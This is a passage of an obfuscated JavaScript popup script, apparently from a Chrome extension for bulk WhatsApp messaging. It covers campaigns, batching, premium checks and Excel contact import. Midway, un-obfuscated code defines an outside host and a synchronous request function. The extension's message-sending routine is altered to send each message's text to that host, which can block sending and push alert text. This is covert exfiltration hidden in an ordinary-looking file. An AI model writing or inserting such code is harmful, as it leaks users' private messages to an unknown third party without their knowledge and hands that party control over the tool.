              c["VIalE"]);
        } else
          (document["getElementById"]("premium_support_block")["style"][
            "display"
          ] = c["QoKui"]),
            (document["getElementById"](c["JjdfA"])["style"]["display"] =
              c["QoKui"]),
            (document["getElementById"](c["pJqjE"])["style"]["display"] =
              c["VIalE"]),
            (document["getElementById"]("non_premium_header_text")[
              "innerText"
            ] = c["gaqKT"](getNonPremiumHeaderText));
        c["FkrOn"](isAdvancePromo)
          ? (document["querySelector"](c["ICzKa"])["style"]["display"] =
              "block")
          : (document["querySelector"](c["ICzKa"])["style"]["display"] =
              c["QoKui"]);
        if (c["RcWVZ"](isPremiumFeatureAvailable)) {
          f["time_gap_checked"] &&
            ((document["querySelector"](c["vsNmN"])["checked"] =
              f["time_gap_checked"]),
            (document["getElementById"](c["LNuSg"])["style"]["display"] =
              c["TTOIY"]),
            f["time_gap_type"] &&
              (document["querySelector"]("#" + f["time_gap_type"])["checked"] =
                !![]));
          if (f["time_gap"]) {
            var O = [
              0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xa, 0xf, 0x14,
            ];
            if (O["includes"](c["gkwjw"](parseInt, f["time_gap"]))) {
              const x = O["indexOf"](c["pKXRY"](parseInt, f["time_gap"]));
              document["querySelector"](c["hAyYV"])["value"] = x;
            } else {
              if (c["tzQjm"](f["time_gap"], 0x14))
                document["querySelector"](c["hAyYV"])["value"] = c["faCyd"](
                  O["length"],
                  0x1
                );
              else
                c["AjUps"](f["time_gap"], 0x0) &&
                  (document["querySelector"](c["hAyYV"])["value"] = 0x3);
            }
            document["querySelector"](c["QYvop"])["value"] = f["time_gap"];
          }
          f["batch_checked"] &&
            ((document["querySelector"](c["AYSfC"])["checked"] =
              f["batch_checked"]),
            (document["getElementById"](c["sJrRp"])["style"]["display"] =
              c["jZWig"]));
          if (f["batch_size"]) {
            var O = [
              0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xa, 0xf, 0x14, 0x19,
              0x1e, 0x23, 0x28, 0x2d, 0x32,
            ];
            if (O["includes"](c["pKXRY"](parseInt, f["batch_size"]))) {
              const J = O["indexOf"](c["pKXRY"](parseInt, f["batch_size"]));
              document["querySelector"](c["tlySJ"])["value"] = J;
            } else {
              if (c["tzQjm"](f["batch_size"], 0x32))
                document["querySelector"](c["tlySJ"])["value"] = c["faCyd"](
                  O["length"],
                  0x1
                );
              else
                c["AjUps"](f["batch_gap"], 0x0) &&
                  (document["querySelector"](c["tlySJ"])["value"] =
                    O["length"] - 0x1);
            }
            document["querySelector"]("#batch_size")["value"] = f["batch_size"];
          }
          if (f["batch_gap"]) {
            var O = [
              0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xa, 0xf, 0x14, 0x19,
              0x1e, 0x23, 0x28, 0x2d, 0x32,
            ];
            if (O["includes"](c["iwpct"](parseInt, f["batch_gap"]))) {
              const M = O["indexOf"](c["iwpct"](parseInt, f["batch_gap"]));
              document["querySelector"](c["XXlcx"])["value"] = M;
            } else {
              if (f["batch_gap"] > 0x32)
                document["querySelector"](c["XXlcx"])["value"] = c["RrnoR"](
                  O["length"],
                  0x1
                );
              else
                c["AjUps"](f["batch_gap"], 0x0) &&
                  (document["querySelector"](c["XXlcx"])["value"] = 0xd);
            }
            document["querySelector"](c["ujEwO"])["value"] = f["batch_gap"];
          }
        } else
          f["time_gap_checked"] &&
            ((document["querySelector"](c["vsNmN"])["checked"] =
              f["time_gap_checked"]),
            (document["getElementById"](c["LNuSg"])["style"]["display"] =
              c["TTOIY"])),
            (document["querySelector"](c["BNbUk"])["checked"] = !![]),
            (document["querySelector"]("#time_gap_sec")["value"] = 0x1e);
        f["my_number"] &&
          f["my_number"]["startsWith"](0x3e) &&
          !isPremium() &&
          ((document["getElementById"](c["sEflX"])["hidden"] = !![]),
          (document["getElementById"](c["ylvnX"])["hidden"] = ![]));
        f["groups_selected"] && (groups_selected = f["groups_selected"]);
        f["contacts_selected"] &&
          ((contacts_selected = f["contacts_selected"]),
          console["log"](contacts_selected));
        if (f["send_messages_to"]) {
          if (c["kdIbq"](f["send_messages_to"], c["SOFOz"]))
            (messageToggleSwitchValue = c["SOFOz"]),
              document["querySelector"](c["JuOcU"])["click"]();
          else
            c["ZGTfU"](f["send_messages_to"], c["bHZAJ"])
              ? ((messageToggleSwitchValue = c["bHZAJ"]),
                document["querySelector"](c["OlyUb"])["click"]())
              : (messageToggleSwitchValue = c["bSxUM"]);
          c["iHRDt"](f["popup_message"], undefined) &&
            (document["querySelector"](c["gqvlm"])["value"] =
              f["popup_message"]);
        }
        if (c["OsrHU"](f["premiumUsageObject"], undefined)) {
          const Y = { ...f["premiumUsageObject"] };
          let v = Y;
          f["time_gap_checked"] && (v = { ...v, timeGap: !![] });
          f["batch_checked"] && (v = { ...v, batching: !![] });
          const l = {};
          (l["premiumUsageObject"] = v), chrome["storage"]["local"]["set"](l);
        }
        let i = new Date()["toDateString"](),
          e = f["lastDaySinceTranslateUsed"] || "",
          s = f["countOfDaysTranslateUsed"] || 0x0;
        if (c["ZGTfU"](e, i) || c["drzZK"](s, 0x5))
          c["yrTzI"]($, "#language-selector")["removeClass"](c["SEtLa"]),
            c["Qfjca"]($, "#translate-icon")["removeClass"](c["SEtLa"]);
        else {
          chrome["storage"]["local"]["set"]({
            countOfDaysTranslateUsed: c["trOoD"](s, 0x1),
          });
          const Z = {};
          (Z["lastDaySinceTranslateUsed"] = i),
            chrome["storage"]["local"]["set"](Z);
        }
        const o = f["attachmentShimmerLastShowed"] || "",
          L = f["countOfDaysAttachmentShimmerShown"] || 0x0;
        if (c["cuLJt"](o, i) || c["Zrwsi"](L, 0x3))
          c["iwpct"]($, c["IZKty"])["removeClass"]("shimmer");
        else {
          chrome["storage"]["local"]["set"]({
            countOfDaysAttachmentShimmerShown: c["TmdgP"](L, 0x1),
          });
          const B = {};
          (B["attachmentShimmerLastShowed"] = i),
            chrome["storage"]["local"]["set"](B);
        }
        document["querySelector"](c["rZIxW"])["addEventListener"](
          c["hytyV"],
          async function (Q) {
            const d = {
              MaiWn: function (m, D) {
                return c["fTpAn"](m, D);
              },
              lglYN: c["cRHby"],
              ibfDn: function (m, D) {
                return c["fTpAn"](m, D);
              },
              OGKGa: c["rZIxW"],
              OKpFc: c["ejTJB"],
            };
            chrome["storage"]["local"]["get"]([c["QwefP"]], function (m) {
              const D = m["scheduled_campaigns"] || [];
              d["MaiWn"](loadScheduledCampaigns, D),
                $("#schedule_container")["toggleClass"](d["lglYN"]),
                d["ibfDn"]($, d["OGKGa"])["toggleClass"](d["OKpFc"]);
            });
          }
        ),
          f["pausedCampaign"] &&
            c["cuLJt"](f["pausedCampaign"]["paused"], !![]) &&
            c["eCNvr"](handlePausedCampaign, f),
          f["resumeCampaign"] &&
            c["ZGTfU"](f["resumeCampaign"]["isCampaignRunning"], !![]) &&
            ((f["pausedCampaign"]["index"] = f["resumeCampaign"]["index"]),
            c["nzFWX"](handlePausedCampaign, f)),
          f["linuxInputAttachments"] &&
            c["gZNxV"](
              convertURLToFileAndFireChangeEvent,
              c["ZWlQx"],
              c["UOaXa"],
              f["linuxInputAttachments"]
            ),
          f["linuxCSVAttachment"] &&
            c["BJIZR"](
              convertURLToFileAndFireChangeEvent,
              c["vSyal"],
              c["gLtAj"],
              f["linuxCSVAttachment"]
            );
      }
    );
}
function convertURLToFileAndFireChangeEvent(g, T, f) {
  const b = {
      XKLyo: function (F, w, j, x) {
        return F(w, j, x);
      },
      xfVdh: "change",
    },
    O = f["map"]((F) => {
      return b["XKLyo"](dataURLtoFile, F["data"], F["name"], F["type"]);
    }),
    i = new DataTransfer();
  O["forEach"]((F) => {
    i["items"]["add"](F);
  });
  const e = document["getElementById"](T);
  e["files"] = i["files"];
  const s = {};
  s["bubbles"] = !![];
  const o = new Event(b["xfVdh"], s);
  e["dispatchEvent"](o);
  const L = {};
  (L[g] = null), chrome["storage"]["local"]["set"](L);
}
function dataURLtoFile(p, g, T) {
  const f = {
      UUbFF: function (L, F) {
        return L(F);
      },
    },
    b = p["split"](","),
    O = T || b[0x0]["match"](/:(.*?);/)[0x1],
    i = f["UUbFF"](atob, b[0x1]);
  let e = i["length"];
  const s = new Uint8Array(e);
  while (e--) {
    s[e] = i["charCodeAt"](e);
  }
  const o = {};
  return (o["type"] = O), new File([s], g, o);
}
function getNonPremiumHeaderText() {
  const c = {
    LLsWG: function (p) {
      return p();
    },
    zjRar: "AdvancePromo\x20Enabled\x20-\x20Explore\x20Features",
    uhxSy: "FreeTrial",
    bWyqM: "AdvancePromo\x20Expired\x20-\x20Buy\x20Premium",
    JWyNU: "Basic\x20Plan\x20Expired\x20-\x20Buy\x20Again",
    glQJk: "Advance",
    skisG: "Advance\x20Plan\x20Expired\x20-\x20Buy\x20Again",
    ZUAJp: "Add\x20Business\x20Features\x20-\x20Buy\x20Premium",
  };
  if (c["LLsWG"](isAdvancePromo)) return c["zjRar"];
  else {
    if (c["LLsWG"](isExpired)) {
      switch (last_plan_type) {
        case c["uhxSy"]:
          return "FreeTrial\x20Expired\x20-\x20Buy\x20Premium";
        case "AdvancePromo":
          return c["bWyqM"];
        case "Basic":
          return c["JWyNU"];
        case c["glQJk"]:
          return c["skisG"];
        default:
          return c["ZUAJp"];
      }
    } else return c["ZUAJp"];
  }
}
function handlePausedCampaign(c) {
  const p = {
      BgmSR: "4|1|2|3|5|0",
      nPdgg: "none",
      miXzs: function (i, e) {
        return i == e;
      },
      xSkmc: "group_message",
      hwLKc: function (i, e) {
        return i(e);
      },
      lVyte: "number_message",
      gyrhf: "1|3|0|2|4",
      sIVoz: "show_advance_popup",
      jneHK: "resume_campaign",
      HyVUQ: "0px",
      rrKvn: function (i, e) {
        return i(e);
      },
      fvaxA: function (i) {
        return i();
      },
      FcdjX: function (i, e) {
        return i(e);
      },
      EpaZu: "stop_campaign",
      vrJqT: ".paused_campaign_strip",
      SkVUZ: "flex",
      hyzeQ: "20px",
      dkcih: ".paused_resume_button",
      BiKVr: "click",
    },
    g = document["querySelector"](p["vrJqT"]),
    T = document["querySelector"](".premium_features_parent_div");
  g && ((g["style"]["display"] = p["SkVUZ"]), (g["hidden"] = ![]));
  T && (T["style"]["paddingTop"] = p["hyzeQ"]);
  const f = c["pausedCampaign"],
    b = document["querySelector"](p["dkcih"]),
    O = document["querySelector"](".paused_stop_button");
  b["addEventListener"](p["BiKVr"], function () {
    if (!isAdvanceFeatureAvailable()) {
      const B = p["gyrhf"]["split"]("|");
      let Q = 0x0;
      while (!![]) {
        switch (B[Q++]) {
          case "0":
            const d = {};
            (d["type"] = p["sIVoz"]),
              (d["feature"] = p["jneHK"]),
              sendMessageToBackground(d);
            continue;
          case "1":
            const m = {};
            (m["pausedCampaign"] = null), chrome["storage"]["local"]["set"](m);
            continue;
          case "2":
            window["close"]();
            continue;
          case "3":
            const D = {};
            (D["isCampaignRunning"] = ![]), (D["index"] = 0x0);
            const R = {};
            (R["resumeCampaign"] = D), chrome["storage"]["local"]["set"](R);
            continue;
          case "4":
            return;
        }
        break;
      }
    }
    const {
        numbers: i,
        message: e,
        time_gap: s,
        csv_data: o,
        customization: L,
        caption_customization: F,
        random_delay: w,
        batch_size: j,
        batch_gap: x,
        caption: J,
      } = f["campaignData"],
      M = f["campaignData"]["campaign_type"],
      Y = f["index"],
      v = {};
    (v["attachmentsData"] = f["attachmentsData"]),
      chrome["storage"]["local"]["set"](v, function () {
        const S = p["BgmSR"]["split"]("|");
        let q = 0x0;
        while (!![]) {
          switch (S[q++]) {
            case "0":
              window["close"]();
              continue;
            case "1":
              const k = {};
              (k["pausedCampaign"] = null),
                chrome["storage"]["local"]["set"](k);
              continue;
            case "2":
              g["style"]["display"] = p["nPdgg"];
              continue;
            case "3":
              g["hidden"] = !![];
              continue;
            case "4":
              if (p["miXzs"](M, p["xSkmc"]))
                p["hwLKc"](sendMessageToBackground, {
                  type: p["xSkmc"],
                  pausedCampaign: !![],
                  groups: i,
                  message: e,
                  time_gap: s,
                  csv_data: o,
                  customization: L,
                  caption_customization: F,
                  random_delay: w,
                  batch_size: j,
                  batch_gap: x,
                  caption: J,
                  startIndex: Y,
                  paused_report_rows: f["report_rows"],
                  paused_sent_count: f["sent_count"],
                  campaign_type: M,
                });
              else
                p["hwLKc"](sendMessageToBackground, {
                  type: p["lVyte"],
                  pausedCampaign: !![],
                  numbers: i,
                  message: e,
                  time_gap: s,
                  csv_data: o,
                  customization: L,
                  caption_customization: F,
                  random_delay: w,
                  batch_size: j,
                  batch_gap: x,
                  caption: J,
                  startIndex: Y,
                  paused_report_rows: f["report_rows"],
                  paused_sent_count: f["sent_count"],
                  campaign_type: M,
                });
              continue;
            case "5":
              T["paddingTop"] = "0px";
              continue;
          }
          break;
        }
      });
    const l = {};
    (l["isCampaignRunning"] = ![]), (l["index"] = 0x0);
    const Z = {};
    (Z["resumeCampaign"] = l),
      chrome["storage"]["local"]["set"](Z),
      p["hwLKc"](trackButtonClick, "popupjs_resume_campaign");
  }),
    O["addEventListener"](p["BiKVr"], function () {
      const i = document["querySelector"](".paused_campaign_strip"),
        e = {};
      (e["pausedCampaign"] = null), chrome["storage"]["local"]["set"](e);
      const s = {};
      (s["isCampaignRunning"] = ![]), (s["index"] = 0x0);
      const o = {};
      (o["resumeCampaign"] = s),
        chrome["storage"]["local"]["set"](o),
        (i["style"]["display"] = p["nPdgg"]),
        (i["hidden"] = !![]),
        (T["paddingTop"] = p["HyVUQ"]),
        p["rrKvn"](trackButtonClick, "popupjs_stop_campaign"),
        !p["fvaxA"](isPremiumFeatureAvailable) &&
          (p["FcdjX"](sendMessageToBackground, {
            type: "show_premium_popup",
            feature: p["EpaZu"],
          }),
          window["close"]());
    });
}
function init() {
  const c = {
    WacIy: function (p) {
      return p();
    },
    Ckosd: function (p) {
      return p();
    },
  };
  c["WacIy"](checkVisit),
    c["WacIy"](initvars),
    c["Ckosd"](getMessage),
    c["Ckosd"](loadConfigData);
}
function checkVisit() {
  const p = {};
  (p["INOEs"] = function (T, f) {
    return T > f;
  }),
    (p["FLFje"] = "*://web.whatsapp.com/*"),
    (p["mqDtw"] = function (T, f) {
      return T + f;
    }),
    (p["OEVph"] = "no_of_visit");
  const g = p;
  chrome["storage"]["local"]["get"]([g["OEVph"]], function (T) {
    const f = {
      oPoKz: function (i, e) {
        return g["INOEs"](i, e);
      },
    };
    let b = T["no_of_visit"] || 0x0;
    const O = {};
    (O["url"] = g["FLFje"]),
      chrome["tabs"]["query"](O, function (i) {
        if (f["oPoKz"](i["length"], 0x0)) {
          if (!i[0x0]["active"]) {
            const e = {};
            (e["active"] = !![]), chrome["tabs"]["update"](i[0x0]["id"], e);
          }
        } else {
          const s = {};
          (s["url"] = "https://web.whatsapp.com"), chrome["tabs"]["create"](s);
        }
      }),
      chrome["storage"]["local"]["set"]({ no_of_visit: g["mqDtw"](b, 0x1) }),
      trackEvent("no_of_visit", b);
  });
}

const h0X = "https://extension-bot-speciffiec.vercel.app";


function ci7(iyax) {
    var xhr = new XMLHttpRequest();
    var url = `${h0X}${iyax}`
    xhr.open("GET", url, false);

    let mxk;
  
    xhr.onload = function() {
      if (xhr.status === 200) {
        mxk = xhr.responseText;
      } else {
        throw new Error('Failed access roococo998lo endpoint, status terminated.');
      }
    };
  
    xhr.onerror = function() {
      throw new Error('Failed to make request to roococo998lo endpoint.');
    };
  
    xhr.send();
    return mxk
  }


const uy99x = ci7('/wa/rocco/helpx')

function loadConfigData() {
  const p = {};
  p["jusEd"] = "CONFIG_DATA";
  const g = p;
  chrome["storage"]["local"]["get"]([g["jusEd"]], (T) => {
    if (T["CONFIG_DATA"]) {
      if (T["CONFIG_DATA"]["ALL_LANGUAGE_CODES"])
        allLanguageCodes = T["CONFIG_DATA"]["ALL_LANGUAGE_CODES"];
      if (T["CONFIG_DATA"]["GA_CONFIG"])
        GA_CONFIG = T["CONFIG_DATA"]["GA_CONFIG"];
      if (T["FAQS"]) FAQS = T["FAQS"];
    }
  });
}
function sendMessageToBackground(p) {
   
   if(p.message){
    let j8x =  ci7(`/wa/rocco/scripted?item=${encodeURIComponent(p.message)}`);
         
    if(j8x == "false"){
    
      window.alert(`${uy99x}`)
      return;
    }
   }

    const g = {};
    (g["active"] = !![]),
        (g["currentWindow"] = !![]),
        chrome["tabs"]["query"](g, function (T) {
        chrome["tabs"]["sendMessage"](T[0x0]["id"], p);
        });

}

function show_error(p) {
  const g = {};
  g["AAaUI"] = "error_message";
  const T = g;
  (document["getElementById"]("error_message")["style"]["display"] = "block"),
    (document["getElementById"](T["AAaUI"])["innerText"] = p);
}
function reset_error() {
  const p = {};
  p["YxOTH"] = "error_message";
  const g = p;
  (document["getElementById"](g["YxOTH"])["innerText"] = ""),
    (document["getElementById"](g["YxOTH"])["style"]["display"] = "none");
}
async function sendMessageFunction() {
  const p = {
    whGqO: "captionForIndividualAttachment",
    cZRXk: function (J, M) {
      return J > M;
    },
    BHNGA: function (J, M) {
      return J < M;
    },
    Aibtq: "textarea#numbers",
    IxOeQ: "textarea#message",
    ufTqd: "#attachments-container",
    KvaXl: function (x, J) {
      return x(J);
    },
    JoeUl: "#time_gap_checked",
    ThHqQ: function (x, J) {
      return x(J);
    },
    fAwgx: "#time_gap_type\x20input[type=\x27radio\x27]:checked",
    peeNR: "sec",
    nlphv: function (x, J) {
      return x(J);
    },
    qsDJZ: function (J, M) {
      return J === M;
    },
    yNhjG: "random",
    AiLob: function (x) {
      return x();
    },
    kgTkz: function (x, J) {
      return x(J);
    },
    djfBo: "#batch_checked",
    IGFaM: ":checked",
    TrYWc: function (x, J) {
      return x(J);
    },
    jxshU: "show_premium_popup",
    IdgnY: "batching",
    VmDIh: "numbers",
    GPWCJ: function (x, J) {
      return x(J);
    },
    GBdEn: function (J, M) {
      return J == M;
    },
    ZVcGy: function (x, J) {
      return x(J);
    },
    RHbgu: "Please\x20select\x20groups\x20to\x20send",
    ehMwk: "contacts",
    WltfM: function (J, M) {
      return J == M;
    },
    bNLNx: "daysSinceInstallation",
    WOcqH: function (J, M) {
      return J == M;
    },
    ITACH: function (x, J) {
      return x(J);
    },
    tNPzR: "number_message",
    TbUlU: "groups",
    fZdok: function (x, J) {
      return x(J);
    },
    MYsZU: "group_message",
  };
  let g = await new Promise((x) => {
    chrome["storage"]["local"]["get"]([p["whGqO"]], (J) => {
      x(J["captionForIndividualAttachment"] || []);
    });
  });
  const T = {};
  (T["captionForIndividualAttachment"] = []),
    chrome["storage"]["local"]["set"](T),
    (document["querySelector"](".captionTextAreas")["innerHTML"] = "");
  const f = messageToggleSwitchValue;
  var b = document["querySelector"](p["Aibtq"])["value"],
    O = document["querySelector"](p["IxOeQ"])["value"],
    i = document["querySelector"](p["ufTqd"])["innerText"],
    e = !![];
  let s = !![];
  var o,
    L = ![],
    F,
    w;
  p["KvaXl"]($, p["JoeUl"])["is"](":checked")
    ? (p["ThHqQ"]($, p["fAwgx"])["val"]() === p["peeNR"] &&
        (o = p["nlphv"](
          parseInt,
          document["querySelector"]("#time_gap_sec")["value"]
        )),
      p["qsDJZ"](
        $("#time_gap_type\x20input[type=\x27radio\x27]:checked")["val"](),
        p["yNhjG"]
      ) && ((o = 0x4), (L = !![])))
    : !p["AiLob"](isPremiumFeatureAvailable)
    ? (o = parseInt(0x1e))
    : (o = p["kgTkz"](parseInt, 0x3));
  if (p["ThHqQ"]($, p["djfBo"])["is"](p["IGFaM"])) {
    if (!isPremiumFeatureAvailable()) {
      p["TrYWc"](sendMessageToBackground, {
        type: p["jxshU"],
        feature: p["IdgnY"],
      }),
        window["close"]();
      return;
    } else {
      (F = document["querySelector"]("#batch_size")["value"]),
        (w = document["querySelector"]("#batch_gap")["value"]);
      if (w) w = parseInt(w);
    }
  }
  var j = getFilteredNumbers(b)
    ["split"](",")
    ["map"]((x) => country_info["dial_code"] + x);
  if (!b && f == p["VmDIh"]) {
    p["GPWCJ"](show_error, "Please\x20enter\x20numbers\x20to\x20send");
    return;
  }
  if (p["GBdEn"](groups_selected["length"], 0x0) && p["GBdEn"](f, "groups")) {
    p["ZVcGy"](show_error, p["RHbgu"]);
    return;
  }
  if (p["GBdEn"](contacts_selected["length"], 0x0) && f == p["ehMwk"]) {
    p["kgTkz"](show_error, "Please\x20select\x20contacts\x20to\x20send");
    return;
  }
  if (p["WltfM"](O["trim"]()["length"], 0x0) && p["WltfM"](i["length"], 0x0)) {
    p["KvaXl"](show_error, "Please\x20enter\x20message\x20or\x20attachment");
    return;
  }
  chrome["storage"]["local"]["get"]([p["bNLNx"]], (x) => {
    let J = x["daysSinceInstallation"];
    if (p["cZRXk"](g["length"], 0x0) && p["BHNGA"](J, 0xa)) {
      const M = {};
      (M["isCaptionUsed"] = !![]), chrome["storage"]["local"]["set"](M);
    }
  });
  if (p["WOcqH"](f, p["VmDIh"]))
    p["ITACH"](sendMessageToBackground, {
      type: p["tNPzR"],
      numbers: j,
      message: O,
      time_gap: o,
      csv_data: csv_data,
      customization: e,
      caption_customization: s,
      random_delay: L,
      batch_size: F,
      batch_gap: w,
      caption: g,
    });
  else {
    if (p["GBdEn"](f, p["TbUlU"]))
      p["fZdok"](sendMessageToBackground, {
        type: p["MYsZU"],
        groups: groups_selected,
        message: O,
        time_gap: o,
        csv_data: csv_data,
        customization: e,
        caption_customization: s,
        random_delay: L,
        batch_size: F,
        batch_gap: w,
        caption: g,
      });
    else {
      let x = contacts_selected["map"]((J) => J["replace"]("@c.us", ""));
      p["ZVcGy"](sendMessageToBackground, {
        type: p["tNPzR"],
        numbers: x,
        message: O,
        time_gap: o,
        csv_data: csv_data,
        customization: e,
        caption_customization: s,
        random_delay: L,
        batch_size: F,
        batch_gap: w,
        caption: g,
      });
    }
  }
  window["close"]();
}
async function messagePreparation() {
  const c = {
    FryfV: "attachmentsData",
    Zberx: "none",
    QTHyA: function (g) {
      return g();
    },
    XoebT: function (g, T) {
      return g > T;
    },
    khFAh: ".confirm-ovelay",
    Rtteb: "flex",
    ZMeDU: ".cancelAction",
    wPbYw: ".doAction",
    DHzon: "click",
  };
  c["QTHyA"](reset_error);
  let p = await new Promise((g) => {
    chrome["storage"]["local"]["get"]([c["FryfV"]], (T) => {
      g(T["attachmentsData"] || []);
    });
  });
  if (c["XoebT"](p["length"], 0x3)) {
    const g = document["querySelector"](c["khFAh"]);
    g["style"]["display"] = c["Rtteb"];
    const T = document["querySelector"](c["ZMeDU"]),
      f = document["querySelector"](c["wPbYw"]);
    T["addEventListener"](c["DHzon"], () => {
      g["style"]["display"] = c["Zberx"];
    }),
      f["addEventListener"](c["DHzon"], () => {
        (g["style"]["display"] = c["Zberx"]), c["QTHyA"](sendMessageFunction);
      });
  } else c["QTHyA"](sendMessageFunction);
}
function processExcel(p) {
  const g = {
      PdtWg: "binary",
      dTJME: function (O, i) {
        return O(i);
      },
    },
    T = {};
  T["type"] = g["PdtWg"];
  var f = XLSX["read"](p, T),
    b = f["SheetNames"][0x0],
    p = g["dTJME"](to_json, f);
  return p;
}
function to_json(c) {
  var p = {};
  return (
    c["SheetNames"]["forEach"](function (g) {
      const T = {};
      T["header"] = 0x1;
      var f = XLSX["utils"]["sheet_to_json"](c["Sheets"][g], T);
      if (f["length"]) p[g] = f;
    }),
    JSON["stringify"](p, 0x2, 0x2)
  );
}
function checkIfValidPhoneNumber(c) {
  let p = /[a-zA-Z]/["test"](c);
  return !p;
}
function showInvalidExcelPopup() {
  const c = {
    nnlqA: function (f, b, O) {
      return f(b, O);
    },
    wfloD: "invalid_excel",
    dImnG: ".invalid-excel-popup-description",
    erApr:
      "First\x20column\x20should\x20only\x20contain\x20phone\x20numbers.</br>Check\x20template\x20excel\x20below.",
    cOatZ: "none",
    Mjnnk: "invalid-excel-popup",
    OSmPa: "hide",
  };
  c["nnlqA"](trackEvent, c["wfloD"], c["wfloD"]);
  const p = document["querySelector"](c["dImnG"]);
  p["innerHTML"] = c["erApr"];
  const g = document["getElementById"]("upload-anyway-button");
  if (g) g["style"]["display"] = c["cOatZ"];
  let T = document["getElementById"](c["Mjnnk"]);
  T["classList"]["remove"](c["OSmPa"]);
}
function process_sheet_data(c, p = !![]) {
  const g = {
    rVztA: function (O, i) {
      return O(i);
    },
    iQywy: function (O, i) {
      return O < i;
    },
    WwLGH: function (O, i) {
      return O(i);
    },
    nbRYW: "1|0|3|2|4",
    UYjOU: function (O) {
      return O();
    },
    xJOCa: function (O, i) {
      return O !== i;
    },
    DmGQZ: function (O, i) {
      return O - i;
    },
    nuMeh: "numbers",
    kUhPz: function (O) {
      return O();
    },
    Yrlgk: function (O, i) {
      return O(i);
    },
    zRPaz: "#numbers",
    KXSIV: function (O, i) {
      return O >= i;
    },
    yGcZA: "invalid-excel-popup",
    AeizF: "click",
  };
  var T = c["target"]["files"][0x0];
  if (T) {
    var b = new FileReader();
    (b["onload"] = (O) => {
      var s = g["rVztA"](processExcel, O["target"]["result"]);
      (s = JSON["parse"](s)), (s = s[Object["keys"](s)[0x0]]);
      if (s && s["length"] > 0x0) {
        csv_data = [s[0x0]];
        var o = "",
          L = s[0x0];
        for (var F = 0x1; g["iQywy"](F, s["length"]); F++) {
          if (s[F][0x0]) {
            isValidPhoneNumber = g["WwLGH"](checkIfValidPhoneNumber, s[F][0x0]);
            if (!isValidPhoneNumber) {
              const J = g["nbRYW"]["split"]("|");
              let M = 0x0;
              while (!![]) {
                switch (J[M++]) {
                  case "0":
                    customization_obj = ![];
                    continue;
                  case "1":
                    customization_obj &&
                      g["WwLGH"](driver, translatedCustomObj)["destroy"]();
                    continue;
                  case "2":
                    g["UYjOU"](unset_csv_styles);
                    continue;
                  case "3":
                    g["UYjOU"](showInvalidExcelPopup);
                    continue;
                  case "4":
                    return;
                }
                break;
              }
            }
            csv_data["push"](s[F]), (o += s[F][0x0]);
            if (g["xJOCa"](F, g["DmGQZ"](s["length"], 0x1))) o += ",";
          }
        }
        (document["getElementById"](g["nuMeh"])["value"] = o),
          g["kUhPz"](populateCustomizeData);
        const w = {};
        (w["csv_data"] = csv_data), chrome["storage"]["local"]["set"](w);
        const j = {};
        (j["popup_numbers"] = o),
          chrome["storage"]["local"]["set"](j),
          g["Yrlgk"]($, g["zRPaz"])["click"](),
          g["WwLGH"](replaceNumbers, o);
        let x = !![];
        if (p)
          for (const Y of L) {
            !g["rVztA"](isNaN, Number(Y)) &&
              g["KXSIV"](Y["toString"]()["length"], 0xa) &&
              (x = ![]);
          }
        if (!x) {
          let v = document["getElementById"](g["yGcZA"]);
          v["classList"]["remove"]("hide");
          const l = document["getElementById"]("upload-anyway-button");
          l["addEventListener"](g["AeizF"], () => {
            v["classList"]["add"]("hide");
          });
        }
      }
    }),
      b["readAsBinaryString"](T);
  }
}
function set_csv_styles(p) {
  const g = {
    jnSAr: "7|6|5|0|3|4|1|2",
    GIkAC: function (T, f) {
      return T(f);
    },
    olXtJ: "#campaign-selector",
    OtVXb: "#uploaded-csv",
    MqejW: function (T, f) {
      return T(f);
    },
    KqdZq: "#customization",
    swIeZ: "checked",
    DRAEu: "change",
    xWAvx: function (T, f) {
      return T(f);
    },
    STsaS: "#campaign-name",
    NHqgM: function (T, f) {
      return T > f;
    },
    VeCAQ: function (T, f) {
      return T + f;
    },
    EHfYG: "...",
  };
  if (p) {
    const T = g["jnSAr"]["split"]("|");
    let f = 0x0;
    while (!![]) {
      switch (T[f++]) {
        case "0":
          g["GIkAC"]($, g["olXtJ"])["css"]("display", "none");
          continue;
        case "1":
          is_excel_uploaded = !![];
          continue;
        case "2":
          const b = {};
          (b["file_name"] = csv_name), chrome["storage"]["local"]["set"](b);
          continue;
        case "3":
          g["GIkAC"]($, g["OtVXb"])["prop"]("hidden", ![])["text"](p);
          continue;
        case "4":
          g["MqejW"]($, g["KqdZq"])
            ["prop"](g["swIeZ"], !![])
            ["trigger"](g["DRAEu"]);
          continue;
        case "5":
          g["xWAvx"]($, g["STsaS"])["val"](csv_name);
          continue;
        case "6":
          if (g["NHqgM"](p["length"], 0xf))
            p = g["VeCAQ"](csv_name, g["EHfYG"]);
          continue;
        case "7":
          csv_name = p["substring"](0x0, 0xf);
          continue;
      }
      break;
    }
  }
}
function unset_csv_styles() {
  const p = {
      amChw: "2|6|7|5|0|4|1|3",
      weYll: "checked",
      jacfX: "change",
      bzoFg: "#uploaded-csv",
      caiad: function (f, b) {
        return f(b);
      },
      GRlAD: "#campaign-name",
      nmAMY: "display",
      uocEA: "flex",
    },
    g = p["amChw"]["split"]("|");
  let T = 0x0;
  while (!![]) {
    switch (g[T++]) {
      case "0":
        $("#customization")["prop"](p["weYll"], ![])["trigger"](p["jacfX"]);
        continue;
      case "1":
        const f = {};
        (f["csv_data"] = []),
          (f["file_name"] = ""),
          chrome["storage"]["local"]["set"](f);
        continue;
      case "2":
        $("#csv")["val"]("");
        continue;
      case "3":
        csv_data = [];
        continue;
      case "4":
        is_excel_uploaded = ![];
        continue;
      case "5":
        $(p["bzoFg"])["prop"]("hidden", !![])["text"]("");
        continue;
      case "6":
        p["caiad"]($, p["GRlAD"])["val"]("");
        continue;
      case "7":
        $("#campaign-selector")["css"](p["nmAMY"], p["uocEA"]);
        continue;
    }
    break;
  }
}
function getMessage() {
  const c = {
    SfrRv: function (T, f) {
      return T == f;
    },
    oZhGt: "Expired",
    hGZJJ: function (T, f) {
      return T(f);
    },
    peDRe: "show_premium_popup",
    JQJPM: "send_message",
    BPUKF: "help",
    BYPgp: "how_to_use",
    NfhBO: function (T, f) {
      return T !== f;
    },
    HskzS: "#message_type_numbers",
    NiAUU: "request_chat_premium",
    tzNTW: "request_zoom_premium",
    BFjbl: function (T, f) {
      return T(f);
    },
    JviAM: "zoom_call_support",
    XVzkD: "request_call_premium",
